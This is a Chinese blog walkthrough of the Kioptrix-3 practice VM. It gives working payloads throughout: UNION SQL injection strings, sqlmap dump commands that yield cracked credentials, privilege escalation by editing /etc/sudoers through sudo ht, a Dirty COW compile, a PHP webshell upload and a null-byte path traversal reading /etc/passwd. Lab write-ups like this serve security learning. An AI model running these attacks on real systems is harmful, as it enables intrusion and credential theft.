Kioptrix-3靶机渗透

免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。


信息搜集

nmap -sn 10.144.71.0/24
nmap -sV -p- 10.144.71.28

这次就开了个80和22端口,然后在开始之前得编辑一下/etc/host,这个作者也说明了 :

image

浏览器进去之后插件看一眼,发现有一个phpadmin

image

不出意外的话后续肯定要用到这个东西,最开始直接有一个login界面,爆破照理说肯定是爆破不出来的,然后尝试SQL注入,过了一遍之后感觉没上用,那就上SQLmap看一眼,先bp抓包:

image

后面就是复制到kali里面跑了,使用的命令如下:

sqlmap -r 1.txt -p username --batch --dbs

但是没有跑不出来,以为是参数或者level和risk的问题,换了一个:

sqlmap -r 1.txt -p "username,passwd" --level=3 --risk=3 --batch --dbs

image

(⊙﹏⊙)


SQL注入获得数据

跑不出来,换个方向,看看别的地方,在home界面中有一个链接now

image

点进去之后是相册,有三张图片,点进去看一下然后左上有一个Ligoat Press Room 点击之后是这样一个页面:

image

下面有一个Sorting Options,点开看一眼,任意选择一个发现URL变化(我这里是photoid):
http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos

这个非常像注入点啊,尝试一下成功了:

image


接下来依旧古法查询,注意这里是数字型不需要单引号闭合,这里面就放跟查询有关的了,完整URL不放了:

?id=-1 union select 1,2,3,4,5,6#

这里是直接用union的,之前打DC-9的时候被orderby坑过一次就没用order了,列数慢慢往上加就行,到了正确的列数是会有显示图片的

然后是找回显位,这里我每个都尝试了一遍最后只有1的位置跟别的地方不一样:

?id=-1 union select database(),2,3,4,5,6#

查出来的看着有点奇怪:

image

但是没关系后面直接用schema就行了

?id=-1 union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=database()#

image


这样看就明显多了,然后是表:

?id=-1 union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_schema=database() and table_name='dev_accounts'#

image


不太对劲,只有一个id,先看一下:

?id=-1 union select group_concat(id),2,3,4,5,6 from dev_accounts#

image

补兑,里面啥都没有,那看看有没有别的数据库:

?id=-1 union select group_concat(schema_name),2,3,4,5,6 from information_schema.schemata#

image


好像只有这么一个,SQLmap再跑一遍验证一下,然后因为我们已经知道了是数字型,列数和MYSQL数据库,可以修改一下提速:

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -p id --technique=U --dbms=mysql --union-cols=6 --batch --dbs
参数 完整写法示例 作用说明
--technique=U --technique=U 只使用 UNION 查询注入 技术(Union query-based),跳过其他注入技术(如 Boolean-based、Error-based、Time-based 等),显著加快测试速度。
--dbms=mysql --dbms=mysql 强制指定后端数据库类型为 MySQL(或 MariaDB),让 sqlmap 直接使用 MySQL 专属的 payload 和语法,跳过其他数据库的指纹识别和测试,提高效率和准确率。
--union-cols=6 --union-cols=6 直接告诉 sqlmap 当前 UNION 查询的结果集有 6 个字段(列),跳过 sqlmap 自动爆破列数的阶段(默认会从 1 到 10 测试)。当我们已通过 ORDER BY 或手动 UNION 测试确认列数为 6 时使用,可大幅节省时间。

image

竟然跑出来三个数据库,还得是工具,看一眼:

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -p id --technique=U --dbms=mysql --union-cols=6 --batch -D gallery --tables

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -p id --technique=U --dbms=mysql --union-cols=6 --batch -D gallery -T gallarific_users --columns

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -p id --technique=U --union-cols=6 --batch -D gallery -T gallarific_users -C "username,password,email,usertype" --dump

image

直接拿到了admin的密码:

admin
n0t7t1k4

尝试登录一下原来的web端,但是发现还是没有登进去😭

然后我去看了另外两个数据库的,那个information_schema没啥东西,mysql库里面有一个不知道是啥:

Database: mysql
Table: user
[4 entries]
+------------------+-------------------------------------------+
| User             | Password                                  |
+------------------+-------------------------------------------+
| debian-sys-maint | *F46D660C8ED1B312A40E366A86D958C6F1EF2AB8 |
| root             | *47FB3B1E573D80F44CD198DC65DE7764795F948E |
| root             | *47FB3B1E573D80F44CD198DC65DE7764795F948E |
| root             | *47FB3B1E573D80F44CD198DC65DE7764795F948E |
+------------------+-------------------------------------------+

难道就止步于此了吗,只能祭出我们的dirsearch了:

dirsearch -u http://kioptrix3.com/

image

发现了phpmyadmin(也就是最开始截图的),admin进行登录尝试,发现还是不行.....

最后尝试一下SSH:

image

(ˉ▽ˉ;)..... (○´・д・)ノ ❓

兼容一下旧版本看一下:

ssh -oHostKeyAlgorithms=+ssh-rsa admin@kioptrix3.com 

下面内容引自DreamTree师傅:
这个错误表明SSH客户端(攻击者Kali )无法与目标服务器(kioptrix3.com)协商安全的加密连接,原因是密钥类型不兼容,服务器只支持ssh-rsassh-dss 这两种密钥类型,但 SSH 客户端没有启用这两种密钥类型;根据报错提示,我们使用参数-oHostKeyAlgorithms=+ssh-rsa再进行登陆

参数结构解释:
-o表示后面跟随的是 SSH 的配置选项(等价于在 ~/.ssh/config 文件中设置的参数HostKeyAlgorithms用于定义客户端愿意接受的服务器主机密钥类型
=+ssh-rsa + 表示在默认算法列表基础上追加 ssh-rsa 算法,如果省略 +(如HostKeyAlgorithms=ssh-rsa),则会 完全覆盖默认列表,仅使用ssh-rsa

image

额,又被看穿了,这里先不再写踩的坑了,梦师傅也是用SQLmap跑的,但是跑的是account那个表:

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -p id --technique=U --dbms=mysql --union-cols=6 --batch -D gallery -T dev_accounts  --columns

image

难绷,这里面还藏了一个

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -p id --technique=U --dbms=mysql --union-cols=6 --batch -D gallery -T dev_accounts  -C "password,username" --dump

+---------------------------------------------+------------+
| password                                    | username   |
+---------------------------------------------+------------+
| 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)   | dreg       |
| 5badcaf789d3d1d09794d8f021f40f0e (starwars) | loneferret |
+---------------------------------------------+------------+

那么再用这个进行SSH登录,用loneferret的终于连上了

ssh -oHostKeyAlgorithms=+ssh-rsa loneferret@kioptrix3.com

后渗透

接下来就是提权了,sudo -l 看一眼,竟然有可以直接利用的:

image

/usr/local/bin/ht 是 HT Editor,一个十六进制文件编辑器,既然有su权限的话我们可以用它来读取或修改任意系统文件

sudo /usr/local/bin/ht

#报错
Error opening terminal: xterm-256color.

问了一下DS:

这个报错的本质是终端类型协商失败,与我们之前遇到的 SSH 密钥算法报错是同类问题,只是发生在了应用层。

通俗解释
我们通过 SSH 连接到 Kioptrix3 时,你的终端模拟器(比如 Kali 的 GNOME Terminal)向服务器“自我介绍”说:

“你好,我是 xterm-256color 终端,我支持 256 种颜色和很多高级特性。”

服务器上的 ht 编辑器是一个**老旧的文本界面程序**,它查看了一下自己内置的终端支持列表,发现:

“xterm-256color 是个啥?我的说明书里只有 xterm、vt100、ansi 这些老古董。我不认识你,报错!”

于是 ht 拒绝启动,抛出了 Error opening terminal。

技术细节

在 Linux 系统中,TERM 环境变量定义了当前终端的类型。程序启动时,会去查阅 terminfo 数据库(通常在 /usr/share/terminfo/),寻找对应终端类型的能力描述文件(比如如何清屏、如何移动光标)。

Kioptrix3 是基于 CentOS 5/6 的老系统,它的terminfo 数据库里没有 xterm-256color 的定义文件。

现代系统(如 Kali 2024+)默认 TERM 就是 xterm-256color

解决方案原理
执行 export TERM=xterm 的意思是:

“服务器老兄,刚才我报错了,其实我是个普通的 xterm 终端,你就按黑白电视的标准对待我就行。”

这样 ht 就能在自己的说明书里找到 xterm 的驱动方法,顺利启动。


因此我们执行上面所说的语句之后就能正常进入了:

export TERM=xterm 

sudo ht

编辑器用法:按 F1 键打开帮助信息,按 F3 键打开文件,按 F6 键切换文本显示模式,按 F10 键退出编辑器

我们可以更改/etc/sudoers,F3后输入即可,最后在loneferret末尾追加/bin/bash ,注意要加逗号进行分隔,F2保存后退出

然后直接sudo /bin/bash就能成功提权

image

或者直接NOPASSWD全是ALL:

loneferret ALL=(ALL) NOPASSWD: ALL

其实在/etc/sudoers中的用户一行有一个否定操作符:

loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht

#翻译一下
loneferret 可以在任何主机上,不需要密码,执行 /usr/local/bin/ht,但是禁止执行 /usr/bin/su

但是!/usr/bin/su只是一个具体路径,获取root shell的方式有更多,用bash sh zsh等都可以,正确的限制方式应该是加白名单,并且限制编辑相应目录文件:

loneferret ALL=(root) NOPASSWD: /usr/local/bin/ht /var/www/html/*

这里用第二个方法改的时候改错了,然后就sudo不了了,借此机会那么就看看有无别的提权方式,看了SUID好像没啥能用的,内核提权似乎可行:
Linux Kioptrix3 2.6.24-24-server

好像就是脏牛,搜一下:
image

熟悉的40839,但是好像是会炸机的那个... 根据之前做
Lampiao的经验换40847

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

但是靶机有点老了版本不支持,换了老方式也不行,那这里就告一段落了


复盘

看了一下别的师傅的文章,御师傅就讲到了我们之前跑出来的mysql中的root那一长串,用的是hash-identifier去破解MD5值:

#输入
hash-identifier

#粘贴我们的MD5值
47FB3B1E573D80F44CD198DC65DE7764795F948E

image

给出了可能的加密方式,好用的在线网站SOMD5 解密一下:

image

直接给出来了,这样就能登录phpmyadmin了,我是新开了一个无痕进的,也能找到SSH:

image

然后就是我们之前跑出来的admin了:

admin
n0t7t1k4

后面用dirsearch再扫了一遍/gallery目录,有了新的发现:

image

有一个看着像admin的登录入口的,访问一下确实是登录界面,并且能用该密码登录,既然这样的话尝试文件上传:

image

能直接传php,然后也有显示,那么就可以尝试连蚁剑,但是爆了一大堆红,那么肯定路径有问题,具体看一下,发现文件名被修改了:

image

找不到上传的路径在哪里,再去翻了一下chrome上的,有提到一个/etc/passwd,竟然还有这种东西,构造是这样的:

http://kioptrix3.com/index.php?system=../../../../../../etc/passwd%00a

image

这里有3个点首先是穿越的路径得要六层,然后是得加%00阶段和a,这三者缺一不可。

这里截断好理解,但是为啥后面还要再加一个字母,这就涉及到了代码层面了,而且这个还藏的很深:

cat /home/www/kioptrix3.com/core/lib/router.php

代码如下:

<?php
/**
 * GPL v4 
 * LotusCMS 2010.
 * Written by Kevin Bluett
 * This Class routes any request from an external source into the LotusCMS systems.
 */
class Router{

        /**
         * This routes any request from get variables into the LotusCMS system.
         */
        public function Router(){
                //Get page request (if any)
                $page = $this->getInputString("page", "index");

                //Get plugin request (if any)
                $plugin = $this->getInputString("system", "Page");

                //If there is a request for a plugin
                if(file_exists("core/plugs/".$plugin."Starter.php")){
                        //Include Page fetcher
                        include("core/plugs/".$plugin."Starter.php");

                        //Fetch the page and get over loading cache etc...
                        eval("new ".$plugin."Starter('".$page."');");

                }else if(file_exists("data/modules/".$plugin."/starter.dat")){
                        //Include Module Fetching System
                        include("core/lib/ModuleLoader.php");

                        //Load Module
                        new ModuleLoader($plugin, $this->getInputString("page", null));
                }else{ //Otherwise load a page from the standard system.
                        //Include Page fetcher
                        include("core/plugs/PageStarter.php");

                        //Fetch the page and get over loading cache etc...
                        new PageStarter($page);
                }
        }

        /**
         * Returns a global variable
         */
        protected function getInputString($name, $default_value = "", $format = "GPCS")
        {
                //order of retrieve default GPCS (get, post, cookie, session);
                $format_defines = array (
                'G'=>'_GET',
                'P'=>'_POST',
                'C'=>'_COOKIE',
                'S'=>'_SESSION',
                'R'=>'_REQUEST',
                'F'=>'_FILES',
                );
                preg_match_all("/[G|P|C|S|R|F]/", $format, $matches); //splitting to globals order
                foreach ($matches[0] as $k=>$glb)
                {
                    if ( isset ($GLOBALS[$format_defines[$glb]][$name]))
                    {   
                        return htmlentities ( trim ( $GLOBALS[$format_defines[$glb]][$name] ) , ENT_NOQUOTES ) ;
                    }
                }
                return $default_value;
        } 

}

}

但是还是不知道原因,希望知道的师傅能具体解释一下,后面插入图片路径和日志注入也不行。


碎碎念

这次就没有总结了,可谓是处处碰壁/(ㄒoㄒ)/~~【跟挖洞一样】,有的坑全部踩了一遍。还有到最后我才发现当时手工注入的回显位找错了,正确的应该是这样的:

?id=-1 UNION  SELECT 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() #

网上还有师傅直接用MSF打CMS的,这个我没有尝试,就是login界面那边有一个 LotusCMS 看到这里的师傅可以自行尝试,但是我觉得这样的靶机才有意义,而不是直接工具一把梭,尽管现在AI挖洞的能力也是越来越强哩,但不学的话只会被AI带着跑,出错了都不知道,以后就是用AI和会用AI的区别了.Prompt还是很强的,同一AI用提示词和不用完全是两种体验,就比如改个博客园主题代码明确指定格式和条件限制,再来一个好的大模型一下就能改出来,这也是为什么会有提示词注入这样的攻击方式存在了。

扯得有点远了,作为一篇记录,也希望能带给师傅们新的收获。


"Every choice is a renunciation."

posted @ 2026-04-12 20:54  ShoreKiten  阅读(1)  评论(0)    收藏  举报